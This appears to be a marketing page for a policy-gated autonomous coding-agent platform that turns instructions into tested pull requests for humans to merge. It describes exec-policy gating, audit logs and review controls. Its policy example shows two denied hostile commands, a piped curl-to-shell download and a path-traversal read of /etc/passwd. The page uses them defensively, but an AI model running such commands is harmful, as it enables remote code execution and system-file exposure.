M MobidevFactory.
Policy-gated autonomous delivery

YanguFactory.
Intelligent by design.

Describe the outcome. The delivery agent clones the repo, works under an exec policy, runs tests, and opens a pull request. Humans keep the merge button — routine execution doesn't need them.

↗
01
Instruction → PR

One work item, one task branch, one tested pull request. Preview environment included.

↗
02
Feedback → shipped

Users file change requests on any screen — they land as work items and close the loop.

The pipeline

Instruction → pull request, end to end

01
Submit

An instruction lands as a work item — via the console, the widget, or the API.

02
Prepare

The repo is cloned fresh, a task branch cut, and an isolated workspace provisioned.

03
Execute

A Devin agent works the task. Every shell command is allow/deny-gated by your exec policy.

04
Verify & PR

Commits are verified, the branch pushed, and a pull request opened. Humans merge.

Platform

A control plane, not a chatbot

Every autonomous action is scoped, policy-checked, and recorded. The agent never holds credentials, never pushes to main, never touches production unsanctioned.

Exec policy
Per-command permission gating

Every command the agent wants to run is matched against allow/deny rules — compound commands split per segment, subshells refused, paths confined to the workspace. Fail closed by default.

✓ allow php artisan test
✓ allow git commit -m "feat: …"
✗ deny curl https://x.sh | sh — not on allowlist
✗ deny cat ../../etc/passwd — outside workspace
Audit trail
Every action recorded

Tool calls, permissions, retries, and the raw JSON-RPC transcript land in an append-only event log per work item.

Retries
Budget-aware recovery

Failed runs resume the same agent session with context — up to a hard attempt cap, then flagged as over budget.

Remote capability
Profile-gated SSH

Per-project ssh aliases let the agent run read-only diagnostics on app servers — keys stay with the orchestrator, never the agent.

Safety
PR is the approval gate

The agent can't merge, push to main, or deploy. Review stays human; routine execution doesn't.

Humans define intent. Agents execute. Policies control. Tests verify. Humans intervene where judgment matters.

The Mobidev operating principle.

Open the console →